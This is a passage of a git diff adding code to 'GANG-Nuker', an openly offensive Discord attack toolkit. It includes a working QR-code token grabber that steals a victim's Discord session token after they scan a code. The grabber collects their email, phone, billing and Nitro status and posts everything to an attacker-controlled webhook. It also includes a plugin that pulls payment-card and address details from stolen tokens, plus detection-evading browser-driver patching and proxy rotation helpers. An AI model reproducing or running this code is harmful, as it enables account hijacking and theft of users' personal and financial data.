os.remove(os.getcwd()+"\\QR-Code\\temp_qr_code.png") + + print(f'\nQR Code generated in '+os.getcwd()+"\\QR-Code") + print(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Don\'t Close This Window! This will ensure that you get there info through the webhook!') + print(f'[\x1b[95m>\x1b[95m\x1B[37m] Wait for victim to scan the QR Code...') + os.system(f'start {os.path.realpath(os.getcwd()+"/QR-Code")}') + if sys.argv[0].endswith(".exe"): + print(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Opening Another GANG-Nuker File') + try: + os.startfile(sys.argv[0]) + except Exception: + pass + + while True: + if discord_login != driver.current_url: + token = driver.execute_script(''' + token = (webpackChunkdiscord_app.push([ + [''], + {}, + e=>{m=[];for( + let c in e.c) + m.push(e.c[c])} + ]),m) + .find(m=>m?.exports?.default?.getToken!==void 0).exports.default.getToken() + return token; + ''') + j = requests.get("https://discord.com/api/v9/users/@me", headers=getheaders(token)).json() + badges = "" + flags = j['flags'] + if (flags == 1): badges += "Staff, " + if (flags == 2): badges += "Partner, " + if (flags == 4): badges += "Hypesquad Event, " + if (flags == 8): badges += "Green Bughunter, " + if (flags == 64): badges += "Hypesquad Bravery, " + if (flags == 128): badges += "HypeSquad Brillance, " + if (flags == 256): badges += "HypeSquad Balance, " + if (flags == 512): badges += "Early Supporter, " + if (flags == 16384): badges += "Gold BugHunter, " + if (flags == 131072): badges += "Verified Bot Developer, " + if (badges == ""): badges = "None" + + user = j["username"] + "#" + str(j["discriminator"]) + email = j["email"] + phone = j["phone"] if j["phone"] else "No Phone Number attached" + + url = f'https://cdn.discordapp.com/avatars/{j["id"]}/{j["avatar"]}.gif' + try: + requests.get(url) + except: + url = url[:-4] + nitro_data = requests.get('https://discordapp.com/api/v6/users/@me/billing/subscriptions', headers=getheaders(token)).json() + has_nitro = False + has_nitro = bool(len(nitro_data) > 0) + billing = bool(len(json.loads(requests.get("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token)).text)) > 0) + + embed = { + "avatar_url":"https://media.discordapp.net/attachments/878154522978029582/917679300705124412/a4235fd1da45633adbc305450741b506.png", + "embeds": [ + { + "author": { + "name": "GANG-Nuker | QR Token Grabber", + "url": "https://github.com/TT-Tutorials/GANG-Nuker", + "icon_url": "https://cdn.discordapp.com/attachments/982965691093254154/994193135213228092/GANGGRABBER.gif" + }, + "description": f"**{user}** Just Scanned the QR Code!\n**[Avatar]({url})**\n\n**Email:** {email}\n**Phone:** {phone}\n**Billing:** {billing}\n**Nitro:** {has_nitro}\n**Badges:** {badges}", + "fields": [ + { + "name": "**Token**", + "value": f"```fix\n{token}```", + "inline": False + } + ], + "color": 12208895, + + "footer": { + "text": "https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker" + } + } + ] + } + requests.post(Webhook, json=embed) + break diff --git a/utilities/Plugins/Server_Lookup.py b/utilities/Plugins/Server_Lookup.py new file mode 100644 index 0000000..f2b6bbb --- /dev/null +++ b/utilities/Plugins/Server_Lookup.py @@ -0,0 +1,71 @@ +# Coded / Dev: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# GANG Discord Nuker / Multi Tool© +# Copyright © 2022 +######################################## + +import os +import sys +import os.path +import colorama +import requests +import webbrowser +from time import sleep +from colored import fg, attr +from requests.api import options +from colorama import Fore, Back, Style, init + +from utilities.Settings.common import * + +colorama.init(autoreset=True) + +def menu(): + print(f""" +[\x1b[95m1\x1b[95m\x1B[37m] Server Lookup +[\x1b[95m2\x1b[95m\x1B[37m] Exit +""") +menu() + +option = int(input(f"[\x1b[95m>\x1b[95m\x1B[37m] Choice?: ")) + +def fetch_data(): + menu() +if option == 1: + sleep(1) + + headers = { + 'User-Agent' : 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7', + 'Authorization' : input(f"\n[\x1b[95m>\x1b[95m\x1B[37m] Token: ") + } + + guildId = input(f"[\x1b[95m>\x1b[95m\x1B[37m] Server ID: ") + + response = requests.get( + f"https://discord.com/api/guilds/{guildId}", + headers = headers, + params = {"with_counts" : True} + ).json() + + owner = requests.get( + f"https://discord.com/api/guilds/{guildId}/members/{response['owner_id']}", + headers = headers, + params = {"with_counts" : True} + ).json() + + print(f""" +{Fore.RESET}{Fore.GREEN}####### Server Infomation #######{Fore.RESET} + +[{Fore.LIGHTMAGENTA_EX}Name{Fore.RESET}] $: {response['name']} +[{Fore.LIGHTMAGENTA_EX}ID{Fore.RESET}] $: {response['id']} +[{Fore.LIGHTMAGENTA_EX}Owner{Fore.RESET}] $: {owner['user']['username']}#{owner['user']['discriminator']} +[{Fore.LIGHTMAGENTA_EX}Owner ID{Fore.RESET}] $: {response['owner_id']} +[{Fore.LIGHTMAGENTA_EX}Members{Fore.RESET}] $: {response['approximate_member_count']} +[{Fore.LIGHTMAGENTA_EX}Region{Fore.RESET}] $: {response['region']} +[{Fore.LIGHTMAGENTA_EX}Icon URL{Fore.RESET}] $: https://cdn.discordapp.com/icons/{guildId}/{response['icon']}.webp?size=256 +""") + sleep(6) + spammer() + +elif option == 2: + spammer() +if __name__ == '__main__': + fetch_data() diff --git a/utilities/Plugins/Token_Info.py b/utilities/Plugins/Token_Info.py new file mode 100644 index 0000000..c4114fd --- /dev/null +++ b/utilities/Plugins/Token_Info.py @@ -0,0 +1,161 @@ +# Coded / Dev: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# GANG Discord Nuker / Multi Tool© +# Copyright © 2022 +######################################## + + +import requests +from colorama import Fore +from datetime import datetime + +from utilities.Settings.common import getheaders + +def Info(token): + r = requests.get('https://discord.com/api/v9/users/@me', headers=getheaders(token)) + cc_digits = { + 'american express': '3', + 'visa': '4', + 'mastercard': '5' +} + badges = "" + + Discord_Employee = 1 + Partnered_Server_Owner = 2 + HypeSquad_Events = 4 + Bug_Hunter_Level_1 = 8 + House_Bravery = 64 + House_Brilliance = 128 + House_Balance = 256 + Early_Supporter = 512 + Bug_Hunter_Level_2 = 16384 + Early_Verified_Bot_Developer = 131072 + + flags = r.json()['flags'] + if (flags == Discord_Employee): + badges += "Staff, " + if (flags == Partnered_Server_Owner): + badges += "Partner, " + if (flags == HypeSquad_Events): + badges += "Hypesquad Event, " + if (flags == Bug_Hunter_Level_1): + badges += "Green Bughunter, " + if (flags == House_Bravery): + badges += "Hypesquad Bravery, " + if (flags == House_Brilliance): + badges += "HypeSquad Brillance, " + if (flags == House_Balance): + badges += "HypeSquad Balance, " + if (flags == Early_Supporter): + badges += "Early Supporter, " + if (flags == Bug_Hunter_Level_2): + badges += "Gold BugHunter, " + if (flags == Early_Verified_Bot_Developer): + badges += "Verified Bot Developer, " + if (badges == ""): + badges = "None" + + userName = r.json()['username'] + '#' + r.json()['discriminator'] + userID = r.json()['id'] + phone = r.json()['phone'] + email = r.json()['email'] + language = r.json()['locale'] + mfa = r.json()['mfa_enabled'] + avatar_id = r.json()['avatar'] + has_nitro = False + res = requests.get('https://discordapp.com/api/v9/users/@me/billing/subscriptions', headers=getheaders(token)) + nitro_data = res.json() + has_nitro = bool(len(nitro_data) > 0) + avatar_url = f'https://cdn.discordapp.com/avatars/{userID}/{avatar_id}.webp' + creation_date = datetime.utcfromtimestamp(((int(userID) >> 22) + 1420070400000) / 1000).strftime('%d-%m-%Y %H:%M:%S UTC') + + if has_nitro: + d1 = datetime.strptime(nitro_data[0]["current_period_end"].split('.')[0], "%Y-%m-%dT%H:%M:%S") + d2 = datetime.strptime(nitro_data[0]["current_period_start"].split('.')[0], "%Y-%m-%dT%H:%M:%S") + days_left = abs((d2 - d1).days) + + billing_info = [] + for x in requests.get('https://discordapp.com/api/v9/users/@me/billing/payment-sources', headers=getheaders(token)).json(): + y = x['billing_address'] + name = y['name'] + address_1 = y['line_1'] + address_2 = y['line_2'] + city = y['city'] + postal_code = y['postal_code'] + state = y['state'] + country = y['country'] + if x['type'] == 1: + cc_brand = x['brand'] + cc_first = cc_digits.get(cc_brand) + cc_last = x['last_4'] + cc_month = str(x['expires_month']) + cc_year = str(x['expires_year']) + data = { + 'Payment Type': 'Credit Card', + 'Valid': not x['invalid'], + 'CC Holder Name': name, + 'CC Brand': cc_brand.title(), + 'CC Number': ''.join(z if (i + 1) % 2 else z + ' ' for i, z in enumerate((cc_first if cc_first else '*') + ('*' * 11) + cc_last)), + 'CC Exp. Date': ('0' + cc_month if len(cc_month) < 2 else cc_month) + '/' + cc_year[2:4], + 'Address 1': address_1, + 'Address 2': address_2 if address_2 else '', + 'City': city, + 'Postal Code': postal_code, + 'State': state if state else '', + 'Country': country, + 'Default Payment': x['default'] + } + elif x['type'] == 2: + data = { + 'Payment Type': 'PayPal', + 'Valid': not x['invalid'], + 'PayPal Name': name, + 'PayPal Email': x['email'], + 'Address 1': address_1, + 'Address 2': address_2 if address_2 else '', + 'City': city, + 'Postal Code': postal_code, + 'State': state if state else '', + 'Country': country, + 'Default Payment': x['default'] + } + billing_info.append(data) + + print(f''' +{Fore.RESET}{Fore.GREEN}####### Account Info #######{Fore.RESET} +[{Fore.LIGHTMAGENTA_EX}Username{Fore.RESET}] {userName} | {userID} +[{Fore.LIGHTMAGENTA_EX}Badges{Fore.RESET}] {badges} +[{Fore.LIGHTMAGENTA_EX}Language{Fore.RESET}] {language} +[{Fore.LIGHTMAGENTA_EX}Created at{Fore.RESET}] {creation_date} +[{Fore.LIGHTMAGENTA_EX}Avatar URL{Fore.RESET}] {avatar_url if avatar_id else ""} +[{Fore.LIGHTMAGENTA_EX}Account Token{Fore.RESET}] {Fore.RED}{token}{Fore.RESET} + +{Fore.RESET}{Fore.GREEN}####### Security Info #######{Fore.RESET} +[{Fore.LIGHTMAGENTA_EX}Email{Fore.RESET}] {email} +[{Fore.LIGHTMAGENTA_EX}Phone Number{Fore.RESET}] {phone if phone else ""} +[{Fore.LIGHTMAGENTA_EX}2 Factor{Fore.RESET}] {mfa} + +{Fore.RESET}{Fore.GREEN}####### Nitro Info #######{Fore.RESET} +[{Fore.LIGHTMAGENTA_EX}Nitro Status{Fore.RESET}] {has_nitro} +[{Fore.LIGHTMAGENTA_EX}Expires in{Fore.RESET}] {days_left if has_nitro else "0"} day(s) + ''') + if len(billing_info) > 0: + print(f"{Fore.RESET}{Fore.GREEN}####### Billing Info #######{Fore.RESET}") + if len(billing_info) == 1: + for x in billing_info: + for key, val in x.items(): + if not val: + continue + print(f"[{Fore.RED}"+'{:<23}{:<10}{}'.format(key+Fore.RED+Fore.RESET+"]", Fore.RESET, val)) + else: + for i, x in enumerate(billing_info): + title = f'Payment Method #{i + 1} ({x["Payment Type"]})' + print('' + title) + print('' + ('=' * len(title))) + for j, (key, val) in enumerate(x.items()): + if not val or j == 0: + continue + print(f"[{Fore.RED}"+'{:<23}{:<10}{}'.format(key+Fore.RED+Fore.RESET+"]", Fore.RESET, val)) + if i < len(billing_info) - 1: + print(f'{Fore.RESET}') + print(f'{Fore.RESET}') + input(f'[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') \ No newline at end of file diff --git a/utilities/Plugins/ignore/ignore.py b/utilities/Plugins/ignore/ignore.py new file mode 100644 index 0000000..1e4b1c1 --- /dev/null +++ b/utilities/Plugins/ignore/ignore.py @@ -0,0 +1 @@ +print("ignore") \ No newline at end of file diff --git a/utilities/Settings/common.py b/utilities/Settings/common.py new file mode 100644 index 0000000..a393178 --- /dev/null +++ b/utilities/Settings/common.py @@ -0,0 +1,538 @@ +# Coded / Dev / Owner: ††#1792 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# GANG Discord Nuker / Multi Tool© +# Copyright © 2022 +######################################## + +import os +import re +import io +import sys +import time +import json +import shutil +import ctypes +import random +import zipfile +import requests +import threading +import subprocess +import pylibcheck +from pystyle import * +from time import sleep +from colorama import Fore +from bs4 import BeautifulSoup +from distutils.version import LooseVersion +from urllib.request import urlopen, urlretrieve +from multiprocessing.spawn import spawn_main +from pystyle import Add, Center, Anime, Colors, Colorate, Write, System +import requests, os, sys, re, time, random, os.path, string, subprocess, random, threading, ctypes, shutil + +######################################### + +THIS_VERSION = "2.5.1" + +w = Fore.WHITE +b = Fore.BLACK +g = Fore.LIGHTGREEN_EX +y = Fore.LIGHTYELLOW_EX +m = Fore.LIGHTMAGENTA_EX +c = Fore.LIGHTCYAN_EX +lr = Fore.LIGHTRED_EX +lb = Fore.LIGHTBLUE_EX +# r = Fore.RESET + +google_target_ver = 0 +edge_target_ver = 0 + +counttokens = len(open('tokens.txt').readlines()) +os.system("title PRESS ENTER") + +def GANGLIST(): + os.system('cls' if os.name=='nt' else 'clear') + global yeslist + yeslist = ["yes", "y", "yer", "yeah","yessir","ye","okay","yep","yea","ok","k","yh","sure"] + +######################################## + +class Chrome_Installer(object): + installed = False + target_version = None + DL_BASE = "https://chromedriver.storage.googleapis.com/" + + def __init__(self, executable_path=None, target_version=None, *args, **kwargs): + self.platform = sys.platform + + if google_target_ver: + self.target_version = google_target_ver + + if target_version: + self.target_version = target_version + + if not self.target_version: + self.target_version = self.get_release_version_number().version[0] + + self._base = base_ = "chromedriver{}" + + exe_name = self._base + if self.platform in ("win32",): + exe_name = base_.format(".exe") + if self.platform in ("linux",): + self.platform += "64" + exe_name = exe_name.format("") + if self.platform in ("darwin",): + self.platform = "mac64" + exe_name = exe_name.format("") + self.executable_path = executable_path or exe_name + self._exe_name = exe_name + + if not os.path.exists(self.executable_path): + self.fetch_chromedriver() + if not self.__class__.installed: + if self.patch_binary(): + self.__class__.installed = True + + @staticmethod + def random_cdc(): + cdc = random.choices('abcdefghijklmnopqrstuvwxyz', k=26) + cdc[-6:-4] = map(str.upper, cdc[-6:-4]) + cdc[2] = cdc[0] + cdc[3] = "_" + return "".join(cdc).encode() + + def patch_binary(self): + linect = 0 + replacement = self.random_cdc() + with io.open(self.executable_path, "r+b") as fh: + for line in iter(lambda: fh.readline(), b""): + if b"cdc_" in line: + fh.seek(-len(line), 1) + newline = re.sub(b"cdc_.{22}", replacement, line) + fh.write(newline) + linect += 1 + return linect + + def get_release_version_number(self): + path = ( + "LATEST_RELEASE" + if not self.target_version + else f"LATEST_RELEASE_{self.target_version}" + ) + return LooseVersion(urlopen(self.__class__.DL_BASE + path).read().decode()) + + def fetch_chromedriver(self): + base_ = self._base + zip_name = base_.format(".zip") + ver = self.get_release_version_number().vstring + if os.path.exists(self.executable_path): + return self.executable_path + urlretrieve( + f"{self.__class__.DL_BASE}{ver}/{base_.format(f'_{self.platform}')}.zip", + filename=zip_name, + ) + with zipfile.ZipFile(zip_name) as zf: + zf.extract(self._exe_name) + os.remove(zip_name) + if sys.platform != "win32": + os.chmod(self._exe_name, 0o755) + return self._exe_name + +class Edge_Installer(object): + installed = False + target_version = None + DL_BASE = "https://msedgedriver.azureedge.net/" + + def __init__(self, executable_path=None, target_version=None, *args, **kwargs): + self.platform = sys.platform + + if edge_target_ver: + self.target_version = edge_target_ver + + if target_version: + self.target_version = target_version + + if not self.target_version: + self.target_version = self.get_release_version_number().version[0] + + self._base = base_ = "edgedriver{}" + + exe_name = self._base + if self.platform in ("win32",): + exe_name = base_.format(".exe") + if self.platform in ("linux",): + self.platform += "64" + exe_name = exe_name.format("") + if self.platform in ("darwin",): + self.platform = "mac64" + exe_name = exe_name.format("") + self.executable_path = executable_path or exe_name + self._exe_name = exe_name + + if not os.path.exists(self.executable_path): + self.fetch_edgedriver() + if not self.__class__.installed: + if self.patch_binary(): + self.__class__.installed = True + + @staticmethod + def random_cdc(): + cdc = random.choices('abcdefghijklmnopqrstuvwxyz', k=26) + cdc[-6:-4] = map(str.upper, cdc[-6:-4]) + cdc[2] = cdc[0] + cdc[3] = "_" + return "".join(cdc).encode() + + def patch_binary(self): + linect = 0 + replacement = self.random_cdc() + with io.open("ms"+self.executable_path, "r+b") as fh: + for line in iter(lambda: fh.readline(), b""): + if b"cdc_" in line: + fh.seek(-len(line), 1) + newline = re.sub(b"cdc_.{22}", replacement, line) + fh.write(newline) + linect += 1 + return linect + + + def get_release_version_number(self): + path = ( + "LATEST_STABLE" + if not self.target_version + else f"LATEST_RELEASE_{str(self.target_version).split('.', 1)[0]}" + ) + urlretrieve( + f"{self.__class__.DL_BASE}{path}", + filename=f"{getTempDir()}\\{path}", + ) + with open(f"{getTempDir()}\\{path}", "r+") as f: + _file = f.read().strip("\n") + content = "" + for char in [x for x in _file]: + for num in ("0","1","2","3","4","5","6","7","8","9","."): + if char == num: + content += char + return LooseVersion(content) + + def fetch_edgedriver(self): + base_ = self._base + zip_name = base_.format(".zip") + ver = self.get_release_version_number().vstring + if os.path.exists(self.executable_path): + return self.executable_path + urlretrieve( + f"{self.__class__.DL_BASE}{ver}/{base_.format(f'_{self.platform}')}.zip", + filename=zip_name, + ) + with zipfile.ZipFile(zip_name) as zf: + zf.extract("ms"+self._exe_name) + os.remove(zip_name) + if sys.platform != "win32": + os.chmod(self._exe_name, 0o755) + return self._exe_name + +class Opera_Installer(object): + DL_BASE = "https://github.com" + def __init__(self, *args, **kwargs): + self.platform = sys.platform + self.links = "" + + r = requests.get(self.__class__.DL_BASE+"/operasoftware/operachromiumdriver/releases") + soup = BeautifulSoup(r.text, 'html.parser') + for link in soup.find_all('a'): + if "operadriver" in link.get('href'): + self.links += f"{link.get('href')}\n" + + for i in self.links.split("\n")[:4]: + if self.platform in i: + self.fetch_edgedriver(i) + + def fetch_edgedriver(self, driver): + executable = "operadriver.exe" + driver_name = driver.split("/")[-1] + cwd = os.getcwd() + os.sep + + urlretrieve(self.__class__.DL_BASE+driver, filename=driver_name) + with zipfile.ZipFile(driver_name) as zf: + zf.extractall() + shutil.move(cwd+driver_name[:-4]+os.sep+executable, cwd+executable) + os.remove(driver_name) + shutil.rmtree(driver_name[:-4]) + +def getDriver(): + drivers = ["chromedriver.exe", "msedgedriver.exe", "operadriver.exe"] + Write.Print("\nChecking Downloaded Drivers!", Colors.purple_to_blue, interval=0.015) + sleep(0.5) + for driver in drivers: + if os.path.exists(os.getcwd() + os.sep + driver): + Write.Print("\nChromeDriver is Already Installed...", Colors.purple_to_blue, interval=0.015) + sleep(0.5) + return driver + else: + Write.Print("\nInstalling Drivers!\n\n", Colors.purple_to_blue, interval=0.015) + if os.path.exists(os.getenv('localappdata') + '\\Google'): + Chrome_Installer() + Write.Print("\nChromeDriver.exe Has Been Installed Successfully!", Colors.purple_to_blue, interval=0.015) + return "chromedriver.exe" + elif os.path.exists(os.getenv('appdata') + '\\Opera Software\\Opera Stable'): + Opera_Installer() + Write.Print("\nOperaDriver.exe Has Been Installed Successfully!\n\n", Colors.purple_to_blue, interval=0.015) + return "operadriver.exe" + elif os.path.exists(os.getenv('localappdata') + '\\Microsoft\\Edge'): + Edge_Installer() + Write.Print("\nMsedgeDriver.exe Has Been Installed Successfully!\n\n", Colors.purple_to_blue, interval=0.015) + return "msedgedriver.exe" + else: + Write.Print("\nERROR | No Compatible Driver Found... Proceeding with ChromeDriver!\n\n", Colors.purple_to_blue, interval=0.015) + Chrome_Installer() + Write.Print("\nTrying ChromeDriver.exe\n\n", Colors.purple_to_blue, interval=0.015) + return "chromedriver.exe" + +####################### Driver Downloads / AutoLogin ######################### +################################################################################ + +def filegrabbertitle(): + print(f"") + +def clear(): + system = os.name + if system == 'nt': + os.system('cls') + elif system == 'posix': + os.system('clear') + else: + print('\n'*120) + return + +def transition(): + clear() + Spinner() + clear() + +def Spinner(): + l = ['|', '/', '-', '\\'] + for i in l+l+l: + sys.stdout.write(f"""\r{y}[{b}#{y}]{w} Loading... {i}""") + sys.stdout.flush() + time.sleep(0.2) + +def SlowPrint(_str): + for letter in _str: + sys.stdout.write(letter);sys.stdout.flush();sleep(0.04) + +def getTempDir(): + system = os.name + if system == 'nt': + return os.getenv('temp') + elif system == 'posix': + return '/tmp/' + +def validateToken(token): + '''validate the token by contacting the discord api''' + base_url = "https://discord.com/api/v9/users/@me" + message = "You need to verify your account in order to perform this action." + + r = requests.get(base_url, headers=getheaders(token)) + if r.status_code != 200: + print(f"\n{Fore.RED}Invalid Token.{Fore.RESET}") + sleep(1) + __import__("spammer").main() + j = requests.get(f'{base_url}/billing/subscriptions', headers=getheaders(token)).json() + try: + if j["message"] == message: + print(f"\n{Fore.RED}Phone Locked Token!{Fore.RESET}") + sleep(1) + __import__("spammer").main() + except (KeyError, TypeError, IndexError): + pass + +def validateWebhook(hook): + if not "api/webhooks" in hook: + print(f"\n{Fore.RED}Invalid Webhook!{Fore.RESET}") + sleep(1) + __import__("spammer").main() + try: + responce = requests.get(hook) + except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema, requests.exceptions.ConnectionError): + print(f"\n{Fore.RED}Invalid Webhook!{Fore.RESET}") + sleep(1) + __import__("spammer").main() + try: + j = responce.json()["name"] + except (KeyError, json.decoder.JSONDecodeError): + print(f"\n{Fore.RED}Invalid Webhook.{Fore.RESET}") + sleep(1) + __import__("spammer").main() + print(f"{Fore.GREEN}Valid webhook! ({j})") + +def installPackage(dependencies): + print(f'{Fore.CYAN}Checking Packages...{Fore.RESET}') + if sys.argv[0].endswith('.exe'): + reqs = subprocess.check_output(['python', '-m', 'pip', 'freeze']) + installed_packages = [r.decode().split('==')[0].lower() for r in reqs.split()] + + for lib in dependencies: + if lib not in installed_packages: + print(f"{w}{lib}{Fore.RED} NOT FOUND! Installing it for you...{Fore.RESET}") + try: + subprocess.check_call(['python', '-m', 'pip', 'install', lib]) + except Exception as e: + print(f"{Fore.RESET}[{Fore.RED}Error{Fore.RESET}] : {e}") + sleep(0.5) + pass + else: + for i in dependencies: + if not pylibcheck.checkPackage(i): + print(f"{w}{i}{Fore.RED} NOT FOUND! Installing it for you...{Fore.RESET}") + pylibcheck.installPackage(i) + +def loadbar(iteration, total, prefix='', suffix='', decimals=1, length=100, fill='#'): + percent = ('{0:.' + str(decimals) + 'f}').format(100 * (iteration/float(total))) + filledLength = int(length * iteration // total) + bar = fill * filledLength + '-' * (length - filledLength) + Write.Print(f"\r {prefix} |{bar}| {percent}% {suffix}", Colors.purple_to_blue, interval=0.000) + if iteration == total: + print() + +items = list(range(0, 37)) +l = len(items) + +def proxy_scrape(): + proxieslog = [] + setTitle(f"Collecting Proxies | ") + startTime = time.time() + temp = getTempDir()+"\\gang_proxies" + Write.Print("\n\n\n\n\n\n\n\n\n\n Collecting Proxies | Please Wait... \n", Colors.purple_to_blue, interval=0.010) + loadbar(0, l, prefix='', suffix='', length=l) + for i, item in enumerate(items): + sleep(0.1) + loadbar(i + 1, l, prefix='', suffix='', length=l) + + def fetchProxies(url, custom_regex): + global proxylist + try: + proxylist = requests.get(url, timeout=5).text + except Exception: + pass + finally: + proxylist = proxylist.replace('null', '') + custom_regex = custom_regex.replace('%ip%', '([0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3})') + custom_regex = custom_regex.replace('%port%', '([0-9]{1,5})') + for proxy in re.findall(re.compile(custom_regex), proxylist): + proxieslog.append(f"{proxy[0]}:{proxy[1]}") + + proxysources = [ + ["http://spys.me/proxy.txt","%ip%:%port% "], + ["http://www.httptunnel.ge/ProxyListForFree.aspx"," target=\"_new\">%ip%:%port%"], + ["https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.json", "\"ip\":\"%ip%\",\"port\":\"%port%\","], + ["https://raw.githubusercontent.com/fate0/proxylist/master/proxy.list", '"host": "%ip%".*?"country": "(.*?){2}",.*?"port": %port%'], + ["https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list.txt", '%ip%:%port% (.*?){2}-.-S \\+'], + ["https://raw.githubusercontent.com/opsxcq/proxy-list/master/list.txt", '%ip%", "type": "http", "port": %port%'], + ["https://www.us-proxy.org/", "%ip%<\\/td>%port%<\\/td>(.*?){2}<\\/td>.*?<\\/td>.*?<\\/td>.*?<\\/td>(.*?)<\\/td>.*?<\\/td><\\/tr>"], + ["https://free-proxy-list.net/", "%ip%<\\/td>%port%<\\/td>(.*?){2}<\\/td>.*?<\\/td>.*?<\\/td>.*?<\\/td>(.*?)<\\/td>.*?<\\/td><\\/tr>"], + ["https://www.sslproxies.org/", "%ip%<\\/td>%port%<\\/td>(.*?){2}<\\/td>.*?<\\/td>.*?<\\/td>.*?<\\/td>(.*?)<\\/td>.*?<\\/td><\\/tr>"], + ["https://api.proxyscrape.com/?request=getproxies&proxytype=http&timeout=6000&country=all&ssl=yes&anonymity=all", "%ip%:%port%"], + ["https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/http.txt", "%ip%:%port%"], + ["https://raw.githubusercontent.com/shiftytr/proxy-list/master/proxy.txt", "%ip%:%port%"], + ["https://proxylist.icu/proxy/", "%ip%:%port%http<"], + ["https://proxylist.icu/proxy/1", "%ip%:%port%http<"], + ["https://proxylist.icu/proxy/2", "%ip%:%port%http<"], + ["https://proxylist.icu/proxy/3", "%ip%:%port%http<"], + ["https://proxylist.icu/proxy/4", "%ip%:%port%http<"], + ["https://proxylist.icu/proxy/5", "%ip%:%port%http<"], + ["https://www.hide-my-ip.com/proxylist.shtml", '"i":"%ip%","p":"%port%",'], + ["https://raw.githubusercontent.com/scidam/proxy-list/master/proxy.json", '"ip": "%ip%",\n.*?"port": "%port%",'] + ] + threads = [] + for url in proxysources: + t = threading.Thread(target=fetchProxies, args=(url[0], url[1])) + threads.append(t) + t.start() + for t in threads: + t.join() + + proxies = list(set(proxieslog)) + with open(temp, "w") as f: + for proxy in proxies: + for i in range(random.randint(7, 10)): + f.write(f"{proxy}\n") + execution_time = (time.time() - startTime) + Write.Print(f" Successfully Scraped:{len(proxies): >5}", Colors.purple_to_blue, interval=0.000) + +def setTitle(_str): + system = os.name + if system == 'nt': + ctypes.windll.kernel32.SetConsoleTitleW(f"{_str}GANG-Nuker FREE | Made by ††#1792 | Tokens: [{counttokens}]") + elif system == 'posix': + sys.stdout.write(f"{_str}GANG-Nuker FREE | Made by ††#1792 | Tokens: [{counttokens}]") + else: + pass + +def proxy(): + temp = getTempDir()+"\\gang_proxies" + if os.stat(temp).st_size == 0: + proxy_scrape() + proxies = open(temp).read().split('\n') + proxy = proxies[0] + + with open(temp, 'r+') as fp: + lines = fp.readlines() + fp.seek(0) + fp.truncate() + fp.writelines(lines[1:]) + return ({'http://': f'http://{proxy}', 'https://': f'https://{proxy}'}) + +heads = [ + { + "Content-Type": "application/json", + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:76.0) Gecko/20100101 Firefox/76.0' + }, + + { + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0" + }, + + { + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (X11; Debian; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0" + }, + + { + "Content-Type": "application/json", + 'User-Agent': 'Mozilla/5.0 (Windows NT 3.1; rv:76.0) Gecko/20100101 Firefox/69.0' + }, + + { + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (X11; Debian; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/76.0" + }, + + { + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11" + } +] + +def getheaders(token=None): + headers = random.choice(heads) + if token: + headers.update({"Authorization": token}) + return headers + +gang = r''' + + /$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ + /$$__ $$ /$$__ $$| $$$ | $$ /$$__ $$ +| $$ \__/| $$ \ $$| $$$$| $$| $$ \__/ +| $$ /$$$$| $$$$$$$$| $$ $$ $$| $$ /$$$$ +| $$|_ $$| $$__ $$| $$ $$$$| $$|_ $$ +| $$ \ $$| $$ | $$| $$\ $$$| $$ \ $$ +| $$$$$$/| $$ | $$| $$ \ $$| $$$$$$/ + \______/ |__/ |__/|__/ \__/ \______/ + + + Github.com/TT-Tutorials +''' +System.Size(120, 30) +System.Clear() +Anime.Fade(Center.Center(gang), Colors.purple_to_blue, Colorate.Vertical, interval=0.030, enter=True) diff --git a/utilities/Settings/libarys.py b/utilities/Settings/libarys.py new file mode 100644 index 0000000..91eda60 --- /dev/null +++ b/utilities/Settings/libarys.py @@ -0,0 +1,174 @@ +# Coded / Dev / Owner: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# GANG Discord Nuker / Multi Tool© +# Copyright © 2022 +######################################## + + +import os +import re +import sys +import time +import emoji +import ctypes +import random +import string +import shutil +import zipfile +import datetime +import colorama +import requests +import threading +import easygui, os +from os import system +import random, string +from json import loads +from time import sleep +from json import dumps +from colorama import * +import base64, pyperclip +from typing import Union +import webbrowser, base64 +from colorama import Fore +import requests, threading +from tasksio import TaskPool +from tqdm import tqdm, trange +from websocket import WebSocket +from os.path import isfile, join +from discord.ext import commands +from colorama import Back, Fore, Style +from concurrent.futures import ThreadPoolExecutor +try: + import requests +except: + os.system("pip install requests") + import requests +try: + from requests import get +except: + os.system("pip install requests") + from requests import get +try: + import colorama +except: + os.system("pip install colorama") + import colorama +try: + import discord +except: + os.system("pip install discord") + import discord +from discord.ext import commands +try: + import pyautogui +except: + os.system("pip install pyautogui") + import pyautogui +try: + import http.client +except: + os.system('pip install python-http-client') + import http.client +try: + import json +except: + os.system('pip install json') + import json +try: + import base64 +except: + os.system('pip install base64') + import base64 +try: + import emoji as ej +except: + os.system('pip install emoji') + import emoji as ej +try: + import websocket +except: + os.system('pip install websocket') + import websocket +try: + import asyncio +except: + os.system('pip install asyncio') + import asyncio +try: + from bs4 import BeautifulSoup +except: + os.system('pip install 